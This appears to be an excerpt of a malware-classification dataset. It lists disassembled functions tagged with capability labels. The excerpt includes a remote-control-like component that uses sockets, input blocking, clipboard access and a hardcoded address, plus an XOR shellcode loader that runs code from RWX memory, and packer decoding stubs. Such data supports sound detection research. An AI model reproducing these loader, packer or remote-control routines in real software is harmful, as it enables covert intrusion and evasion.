joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10003bf0
Capabilities:
Send data
Send data on socket

Disassembly:
mov eax, dword [eax + 0x14]
push ebx
test eax, eax
jne 0x10003c13
mov ecx, dword [esi + 0x44]
mov edx, dword [esi + 0x40]
push 0x23
push ecx
push edx
call dword [sym.imp.WS2_32.dll_WSAEventSelect]
cmp eax, 0xffffffff
jne 0x10003c2c
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ebx, 1
mov dword [esi + 0x30], ebx
mov dword [esi + 0x34], 2
mov dword [esi + 0x38], eax
mov dword [esi + 0x3c], ebx
xor eax, eax
pop ebx
ret
push edi
lea eax, [esi + 0x19c]
push eax
lea ecx, [esi + 0x1d8]
mov ebx, 1
push ecx
mov dword [esi + 0x60], ebx
mov ecx, esi
mov eax, esi
mov dword [esi + 0x64], ebx
call fcn.10004ae0
mov edx, dword [esi + 0x40]
xor edi, edi
push edi
push edi
push edi
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x10003c75
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edi, eax
cmp edi, 0x2733
jne 0x10003c75
xor edi, edi
mov eax, dword [esi + 0x48]
push eax
call fcn.10007cd0
add esp, 4
test edi, edi
pop edi
je 0x10003c90
mov eax, 0x80004005
call fcn.10001280
mov eax, ebx
pop ebx
ret

Function at 0x10003ca0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
lea esp, [esp]
mov eax, dword [ebx + 0x70]
mov ecx, dword [ebx + 0x40]
push 0
push 0x598
push eax
push ecx
call dword [sym.imp.WS2_32.dll_recv]
mov edi, eax
test edi, edi
jle 0x10003d72
cmp edi, 0x10
jne 0x10003cf8
mov edx, dword [ebx + 0x70]
mov ecx, eax
mov eax, 0x1001a288
sub edx, eax
cmp ecx, 4
jb 0x10003daa
mov esi, dword [edx + eax]
cmp esi, dword [eax]
jne 0x10003cf8
sub ecx, 4
add eax, 4
jmp 0x10003ce0
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov ecx, dword [ebx + 0x1c0]
mov edx, dword [ebx + 0x1c8]
mov eax, dword [ebx + 0x70]
lea esi, [ebx + 0x1d8]
cmp edi, 0x18
jl 0x10003d26
push ecx
push edi
push eax
mov edi, edx
call fcn.10005060
jmp 0x10003d30
cmp edi, 0xc
jne 0x10003da0
call fcn.10004f10
cmp eax, 2
jne 0x10003cb0
mov edx, dword [ebx + 0x48]
push edx
call fcn.10007cd0
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x10003d54
mov eax, 0x4c7
mov ecx, 1
mov dword [ebx + 0x3c], ecx
mov dword [ebx + 0x34], 4
pop edi
mov dword [ebx + 0x30], ecx
mov dword [ebx + 0x38], eax
pop esi
xor eax, eax
pop ebx
pop ebp
ret 4
cmp edi, 0xffffffff
jne 0x10003cb0
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x10003dc7
cmp eax, 0x2744
je 0x10003cb0
cmp eax, 0x2746
je 0x10003cb0
jmp 0x10003d54
push 0xd
call dword [sym.imp.WS2_32.dll_WSASetLastError]
jmp 0x10003d39
xor eax, eax
pop edi
mov dword [ebx + 0x30], 1
mov dword [ebx + 0x34], 5
mov dword [ebx + 0x3c], eax
pop esi
mov dword [ebx + 0x38], eax
pop ebx
pop ebp
ret 4
pop edi
pop esi
mov eax, 1
pop ebx
pop ebp
ret 4
Function at 0x10003f60
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
push esi
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ebx, eax
mov eax, dword [esi + 0x64]
cmp eax, 3
je 0x10004048
lea edi, [esi + 0x15c]
push edi
call fcn.10002ba0
mov ecx, dword [esi + 0x64]
cmp ecx, 1
je 0x10003f98
mov edx, dword [esi + 0x64]
test edx, edx
jne 0x10004042
mov dword [esi + 0x64], 2
mov dword [edi], 0
mov eax, ebx
call fcn.10004160
mov eax, dword [esi + 0x60]
test eax, eax
je 0x10003fd3
cmp dword [esi + 0x3c], 0
je 0x10003fcc
mov ecx, dword [esi + 0x40]
push 0
push 0x10
push 0x1001a288
push ecx
call dword [sym.imp.WS2_32.dll_send]
mov dword [esi + 0x60], 0
cmp dword [esi + 0x30], 0
je 0x10003ffb
mov edx, dword [esi + 0x48]
push edx
call fcn.10007cd0
mov eax, dword [esi + 4]
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0
lea ecx, [esi + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov eax, dword [esi + 0x44]
test eax, eax
je 0x10004010
push eax
call dword [sym.imp.WS2_32.dll_WSACloseEvent]
mov dword [esi + 0x44], 0
mov eax, dword [esi + 0x40]
cmp eax, 0xffffffff
je 0x10004032
push 1
push eax
call dword [sym.imp.WS2_32.dll_shutdown]
mov edx, dword [esi + 0x40]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [esi + 0x40], 0xffffffff
mov edi, esi
call fcn.10004060
pop edi
pop esi
mov eax, 1
pop ebx
ret
mov dword [edi], 0
push 0x139f
mov dword [esi + 0x5c], 1
call dword [sym.imp.KERNEL32.dll_SetLastError]
pop edi
pop esi
xor eax, eax
pop ebx
ret

Function at 0x10004430
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
mov eax, dword [esi + 4]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_ResetEvent]
push eax
call edi
mov ecx, dword [esi + 0x264]
push ecx
call edi
call dword [sym.imp.WINMM.dll_timeGetTime]
push 0
lea ebx, [esi + 0x18]
push ebx
mov dword [esi + 0x14], eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
xor eax, eax
mov dword [esi + 0x20], eax
mov dword [esi + 0x24], eax
mov word [esi + 0x28], ax
mov ecx, dword [esi + 0x64]
mov edx, dword [esi + 0x14]
mov eax, dword [esi + 0x18]
mov dword [esi + 0x20], edx
mov dword [esi + 0x24], eax
mov word [esi + 0x28], 0xca
cmp ecx, 3
je 0x10004490
mov eax, esi
call fcn.10003f60
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push edx
push eax
mov eax, esi
call fcn.10003500
mov ecx, dword [esi + 0x264]
push 0x1770
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x100044e9
cmp eax, 0x102
je 0x100044d5
cmp eax, 0xffffffff
jne 0x100044de
mov edx, dword [esi + 0x264]
push edx
call edi
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 8
mov eax, dword [esi + 0x264]
push eax
call edi
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 8
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov ecx, dword [esi + 0x264]
push ecx
call edi
lea edx, [ebp - 4]
push edx
push 0
push esi
push 0x10004530
push 0
push 0
call fcn.1000958b
add esp, 0x18
pop edi
mov dword [esi + 0x268], eax
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x100062f2
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
mov al, byte [ebx]
push esi
mov esi, ecx
cmp al, 0xc9
je case.default.0x10006221
movzx eax, al
cmp eax, 0xa
ja case.default.0x10006221
push edi
jmp dword [eax*4 + 0x10006318]
mov eax, dword [esi + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
pop edi
pop esi
pop ebx
pop ebp
ret 8
pop edi
mov byte [esi + 0x2d0], 1
pop esi
pop ebx
pop ebp
ret 8
pop edi
mov byte [esi + 0x2d0], 0
pop esi
pop ebx
pop ebp
ret 8
cmp dword [esi + 0x6ec], 0
mov edi, dword [sym.imp.USER32.dll_BlockInput]
je 0x10006268
push 0
call edi
mov eax, dword [ebp + 0xc]
inc ebx
push ebx
dec eax
push esi
call fcn.10006f10
mov esi, dword [esi + 0x6ec]
test esi, esi
je case.0x10006221.3
push esi
call edi
pop edi
pop esi
pop ebx
pop ebp
ret 8
movzx ecx, byte [ebx + 1]
push ecx
add esi, 0x6ec
push esi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov edx, dword [esi]
push edx
call dword [sym.imp.USER32.dll_BlockInput]
pop edi
pop esi
pop ebx
pop ebp
ret 8
movzx eax, byte [ebx + 1]
push eax
add esi, 0x6e4
push esi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
pop edi
pop esi
pop ebx
pop ebp
ret 8
push esi
call fcn.10006500
pop edi
pop esi
pop ebx
pop ebp
ret 8
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je case.0x10006221.3
mov edi, dword [ebp + 0xc]
inc ebx
dec edi
push ebx
call fcn.100064b0
pop edi
pop esi
pop ebx
pop ebp
ret 8
mov ecx, dword [ebx + 1]
push 0
push 0
push esi
push 0x10005cb0
push 0
push 0
mov dword [esi + 0x6d0], ecx
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x100064b0
Capabilities:
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
push esi
call dword [sym.imp.USER32.dll_EmptyClipboard]
push edi
push 2
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x100064f5
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov ecx, dword [ebp + 8]
push edi
push ecx
push eax
call fcn.1000ed00
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push esi
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
call dword [sym.imp.USER32.dll_CloseClipboard]
pop esi
pop ebp
ret 4
Function at 0x10006500
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x1000658f
push edi
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov edi, eax
test edi, edi
jne 0x1000652c
call dword [sym.imp.USER32.dll_CloseClipboard]
pop edi
mov esp, ebp
pop ebp
ret 4
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GlobalSize]
push edi
lea esi, [eax + 1]
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push esi
mov dword [ebp - 4], eax
call fcn.10008b72
mov ecx, dword [ebp - 4]
mov ebx, eax
lea eax, [esi - 1]
push eax
push ecx
lea edx, [ebx + 1]
push edx
mov byte [ebx], 0xc
call fcn.1000ed00
add esp, 0x10
push edi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov eax, dword [ebp + 8]
cmp dword [eax + 8], 0
jne 0x10006583
mov ecx, dword [eax + 4]
mov eax, dword [ecx]
mov edx, dword [eax + 8]
push esi
push ebx
call edx
push ebx
call fcn.1000962b
add esp, 4
pop esi
pop ebx
pop edi
mov esp, ebp
pop ebp
ret 4

Function at 0x100066d0
Capabilities:
Create thread
Resume thread

Disassembly:
push edi
xor edi, edi
push edi
push 4
push esi
push 0x10006760
push edi
push edi
mov byte [esi + 0x2e0], 1
mov dword [esi + 0x2d4], edi
mov dword [esi + 0x2d8], edi
mov dword [esi + 0x2dc], edi
call fcn.1000958b
push edi
push 4
push esi
push 0x100069c0
push edi
push edi
mov dword [esi + 0x2d4], eax
call fcn.1000958b
push edi
push 4
push esi
push 0x10006c90
push edi
push edi
mov dword [esi + 0x2d8], eax
call fcn.1000958b
mov edi, dword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [esi + 0x2dc], eax
mov eax, dword [esi + 0x2d4]
add esp, 0x48
push eax
call edi
mov ecx, dword [esi + 0x2d8]
push ecx
call edi
mov edx, dword [esi + 0x2dc]
push edx
call edi
pop edi
ret
Function at 0x10007ad0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
dec eax
jne 0x10007b07
cmp dword [0x1001d69c], eax
je 0x10007b07
cmp dword [0x101998c4], eax
jne 0x10007b07
push eax
push eax
push eax
push 0x100079a0
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
mov dword [0x101998c4], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, 1
pop ebp
ret 0xc

Function at 0x10007b10
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push eax
push 0xff
push str.192.168.50.142
call fcn.100093d8
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 0x14]
add esp, 0xc
push 0
push 0
push 0
push 0x100079a0
push 0
push 0
mov dword [0x1001d694], ecx
mov dword [0x1001d698], edx
mov dword [0x1001d69c], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
mov dword [0x101998c4], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
xor al, al
pop ebp
ret

Function at 0x10007b80
Capabilities:
Create thread

Disassembly:
push 0
push 0
push 0
push 0x100079a0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
xor al, al
ret
Function at 0x10007fa0
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov eax, dword [edi]
movzx ecx, word [eax + 0x14]
mov edx, dword [edi + 0x3c]
mov esi, dword [ecx + eax + 0x20]
dec edx
lea ecx, [ecx + eax + 0x18]
not edx
and edx, esi
mov dword [ebp - 0x1c], esi
mov esi, dword [ecx + 0x10]
mov dword [ebp - 0x18], edx
test esi, esi
jne 0x10007fe3
mov ebx, dword [ecx + 0x24]
test bl, 0x40
je 0x10007fdc
mov esi, dword [eax + 0x20]
jmp 0x10007fe3
test bl, bl
jns 0x10007fe3
mov esi, dword [eax + 0x24]
mov dword [ebp - 0x14], esi
mov esi, dword [ecx + 0x24]
mov dword [ebp - 0x10], esi
mov esi, 1
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 1
cmp si, word [eax + 6]
jae 0x100080b0
lea ebx, [ecx + 0x4c]
lea esp, [esp]
mov esi, dword [edi + 0x3c]
mov ecx, dword [ebx - 0x1c]
mov edi, dword [ebx - 0x14]
dec esi
not esi
and esi, ecx
mov dword [ebp - 4], ecx
test edi, edi
jne 0x10008038
mov ecx, dword [ebx]
test cl, 0x40
je 0x10008031
mov edi, dword [eax + 0x20]
jmp 0x10008038
test cl, cl
jns 0x10008038
mov edi, dword [eax + 0x24]
cmp edx, esi
je 0x10008067
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x1c]
cmp eax, esi
ja 0x10008067
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x1c]
call fcn.10007ef0
test eax, eax
je 0x100080ce
mov edx, dword [ebp - 4]
mov eax, dword [ebx]
mov dword [ebp - 0x1c], edx
mov edx, esi
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x10], eax
jmp 0x1000808f
mov eax, dword [ebx]
test eax, 0x2000000
je 0x1000807e
test dword [ebp - 0x10], 0x2000000
je 0x1000807e
or dword [ebp - 0x10], eax
jmp 0x10008089
or eax, dword [ebp - 0x10]
and eax, 0xfdffffff
mov dword [ebp - 0x10], eax
sub edi, dword [ebp - 0x1c]
add edi, dword [ebp - 4]
mov eax, dword [ebp + 8]
mov eax, dword [eax]
mov ecx, dword [ebp - 8]
movzx esi, word [eax + 6]
inc ecx
add ebx, 0x28
mov dword [ebp - 0x14], edi
mov edi, dword [ebp + 8]
mov dword [ebp - 8], ecx
cmp ecx, esi
jl 0x10008010
lea ecx, [ebp - 0x1c]
mov eax, edi
mov dword [ebp - 0xc], 1
call fcn.10007ef0
neg eax
pop edi
sbb eax, eax
pop esi
neg eax
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10008b88
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1001c210]
jne 0x10008b92
repz ret
jmp fcn.1000a2ec

Function at 0x1000ea42
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x1001c210]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.1000be78
and dword [ebp - 0x14], 0
cmp dword [0x10199890], 0
mov dword [ebp - 0x18], eax
jne 0x1000eaf5
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x1000eb9d
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x10018c04
push ebx
call edi
test eax, eax
je 0x1000eb9d
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x10199890], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x10199894], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x10199898], eax
call edi
push eax
call esi
mov dword [0x101998a0], eax
test eax, eax
je 0x1000eaf5
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x1019989c], eax
mov eax, dword [0x1019989c]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x1000eb4e
cmp dword [0x101998a0], ecx
je 0x1000eb4e
push eax
call esi
push dword [0x101998a0]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x1000eb4e
test ebx, ebx
je 0x1000eb4e
call edi
test eax, eax
je 0x1000eb45
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x1000eb45
test byte [ebp - 8], 1
jne 0x1000eb4e
or dword [ebp + 0x10], 0x200000
jmp 0x1000eb81
mov eax, dword [0x10199894]
cmp eax, dword [ebp - 0x18]
je 0x1000eb81
push eax
call esi
test eax, eax
je 0x1000eb81
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x1000eb81
mov eax, dword [0x10199898]
cmp eax, dword [ebp - 0x18]
je 0x1000eb81
push eax
call esi
test eax, eax
je 0x1000eb81
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x10199890]
call esi
test eax, eax
je 0x1000eb9d
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x1000eb9f
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10008b88
leave
ret
Function at 0x401318
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
mov eax, 0xa1f8
call fcn.00401a0c
call fcn.00401800
lea edi, [ebp - 0xa1e8]
mov esi, 0x403040
mov ecx, 0x2874
rep movsd dword es:[edi], dword [esi]
call sub.KERNEL32.DLL_FreeConsole
lea esi, [ebp - 0xa1e8]
mov ebx, dword [ebp - 0x418]
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x1000
mov dword [esp + 4], 0x52e8
mov dword [esp], 0
call sub.KERNEL32.DLL_VirtualAlloc
sub esp, 0x10
mov dword [ebp - 0xa1ec], eax
lea edi, [ebp - 0x418]
mov edx, eax
mov cl, byte [esi]
mov byte [edx], cl
inc edx
add esi, 2
cmp esi, edi
jne 0x401390
mov edx, dword [ebp - 0xa1ec]
add edx, 0x4ee8
mov ecx, 0x100
mov edi, edx
rep movsd dword es:[edi], dword [esi]
lea esi, [esi]
xor dword [eax], ebx
add ebx, 0x499602d2
add eax, 4
cmp eax, edx
jne 0x4013b4
call dword [ebp - 0xa1ec]
xor eax, eax
lea esp, [ebp - 0x10]
pop ecx
pop ebx
pop esi
pop edi
leave
lea esp, [ecx - 4]
ret

Function at 0x4014f0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
test ecx, ecx
mov dword [ebp - 0xc], ebx
mov ebx, eax
mov dword [ebp - 8], esi
mov esi, edx
mov dword [ebp - 4], edi
mov edi, ecx
jne 0x401516
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x38]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], eax
mov dword [esp], ebx
call sub.KERNEL32.DLL_VirtualQuery
sub esp, 0xc
test eax, eax
je 0x4015aa
mov eax, dword [ebp - 0x24]
cmp eax, 4
je 0x401565
cmp eax, 0x40
je 0x401565
lea eax, [ebp - 0x1c]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
call sub.KERNEL32.DLL_VirtualProtect
sub esp, 0x10
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sub.msvcrt.dll_memcpy
mov eax, dword [ebp - 0x24]
cmp eax, 4
je 0x401509
cmp eax, 0x40
je 0x401509
lea eax, [ebp - 0x1c]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
call sub.KERNEL32.DLL_VirtualProtect
sub esp, 0x10
jmp 0x401509
mov dword [esp + 8], 0x34
mov dword [esp + 4], str..._.._runtime_pseudo_reloc.c
mov dword [esp], str.VirtualQuery__addr__b__sizeof_b__
call sub.msvcrt.dll__assert
lea esi, [esi]
lea edi, [edi]

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43100c
nop
nop
nop
nop
nop
pop eax
nop
add eax, 0x403e6a
nop
sub eax, 0x403e10
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x431030
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43101e
nop
nop
nop
nop
nop
popal
nop
nop
jmp loc.00401219
Function at 0x100043c0
Capabilities:
Inspect section memory permissions

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1006534f
mov eax, dword fs:[0]
push eax
sub esp, 0x20
push esi
push edi
mov eax, dword [0x1009a8a0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov esi, dword [ebp + 8]
mov eax, esi
and eax, 0xe0000000
cmp eax, 0x20000000
jg 0x1000449c
je 0x10004497
cmp eax, 0x80000000
je 0x10004497
test eax, eax
jne 0x100044a3
lea ecx, [ebp - 0x2c]
call dword [sym.imp.ScCore.dll_public:_void___thiscall_ScCore::Variant::constructor_void_]
lea ecx, [ebp - 0x10]
mov dword [ebp - 4], 0
call dword [sym.imp.ScCore.dll_public:_void___thiscall_ScCore::Heap::constructor_void_]
mov eax, dword [0x1009bddc]
mov dword [ebp - 0x10], 0xa
mov ecx, dword [eax]
test ecx, ecx
je 0x1000444b
add ecx, 0x28
call dword [sym.imp.ScCore.dll_public:_void___thiscall_ScCore::Lock::acquire_void_]
mov ecx, dword [edi]
push esi
mov byte [ebp - 4], 1
call sym.ExtendScript.dll_private:_bool___thiscall_ScScript::Preprocessor::directive_struct_ScScript::Preprocessor::ProcData__
push eax
lea ecx, [ebp - 0x2c]
call dword [sym.imp.ScCore.dll_public:_class_ScCore::Variant____thiscall_ScCore::Variant::operator_unsigned_short_int_const__]
mov eax, dword [0x1009bddc]
mov byte [ebp - 4], 2
mov ecx, dword [eax]
test ecx, ecx
je 0x1000447c
mov eax, dword [ebp - 0x10]
lea ecx, [ecx + eax*4]
call dword [sym.imp.ScCore.dll_public:_void___thiscall_ScCore::Lock::release_void_]
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0
call dword [sym.imp.ScCore.dll_public:_double___thiscall_ScCore::Variant::getDouble_void_const]
lea ecx, [ebp - 0x2c]
fstp qword [ebp - 0x14]
call dword [sym.imp.ScCore.dll_public:_void___thiscall_ScCore::Variant::destructor_void_]
jmp 0x100044bf
xorps xmm0, xmm0
jmp 0x100044ba
cmp eax, 0x40000000
je 0x100044af
and esi, 0x1fffffff
movd xmm0, esi
jmp 0x100044b6
movzx eax, si
movd xmm0, eax
cvtdq2pd xmm0, xmm0
movsd qword [ebp - 0x14], xmm0
fld qword [ebp - 0x14]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x501cf0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x502328
push 0x501ef0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
add esp, 0xffffff98
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 4], 0
push 2
call dword [sym.imp.MSVCRT.dll___set_app_type]
add esp, 4
mov dword [0x503424], 0xffffffff
mov dword [0x503428], 0xffffffff
call dword [sym.imp.MSVCRT.dll___p__fmode]
mov ecx, dword [0x503420]
mov dword [eax], ecx
call dword [sym.imp.MSVCRT.dll___p__commode]
mov edx, dword [0x50341c]
mov dword [eax], edx
mov eax, dword [sym.imp.MSVCRT.dll__adjust_fdiv]
mov ecx, dword [eax]
mov dword [0x50342c], ecx
call fcn.00501ee0
mov eax, dword [0x503154]
test eax, eax
jne 0x501d81
push 0x501ed0
call dword [sym.imp.MSVCRT.dll___setusermatherr]
add esp, 4
call fcn.00501eb0
push 0x50300c
push 0x503008
call sub.MSVCRT.dll__initterm
add esp, 8
mov edx, dword [0x503418]
mov dword [ebp - 0x6c], edx
lea eax, [ebp - 0x6c]
push eax
mov ecx, dword [0x503414]
push ecx
lea edx, [ebp - 0x64]
push edx
lea eax, [ebp - 0x70]
push eax
lea ecx, [ebp - 0x60]
push ecx
call dword [sym.imp.MSVCRT.dll___getmainargs]
add esp, 0x14
push 0x503004
push section..data
call sub.MSVCRT.dll__initterm
add esp, 8
call dword [sym.imp.MSVCRT.dll___p__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x74], esi
cmp byte [esi], 0x22
jne 0x501e8f
inc esi
mov dword [ebp - 0x74], esi
mov al, byte [esi]
test al, al
je 0x501df5
cmp al, 0x22
jne 0x501de7
cmp byte [esi], 0x22
jne 0x501dfe
inc esi
mov dword [ebp - 0x74], esi
mov al, byte [esi]
test al, al
je 0x501e0e
cmp al, 0x20
ja 0x501e0e
inc esi
mov dword [ebp - 0x74], esi
jmp 0x501dfe
mov dword [ebp - 0x30], 0
lea edx, [ebp - 0x5c]
push edx
call dword [sym.imp.KERNEL32.DLL_GetStartupInfoA]
test byte [ebp - 0x30], 1
je 0x501e2f
mov eax, dword [ebp - 0x2c]
and eax, 0xffff
jmp 0x501e34
mov eax, 0xa
push eax
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
call main
mov dword [ebp - 0x68], eax
push eax
call dword [sym.imp.MSVCRT.dll_exit]
jmp 0x501e74
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp byte [esi], 0x20
jbe 0x501dfe
inc esi
mov dword [ebp - 0x74], esi
jmp 0x501e8f

Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43000c
nop
nop
nop
nop
nop
pop eax
add eax, 0x403d6f
nop
nop
sub eax, 0x403d15
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
popal
nop
nop
jmp fcn.00401219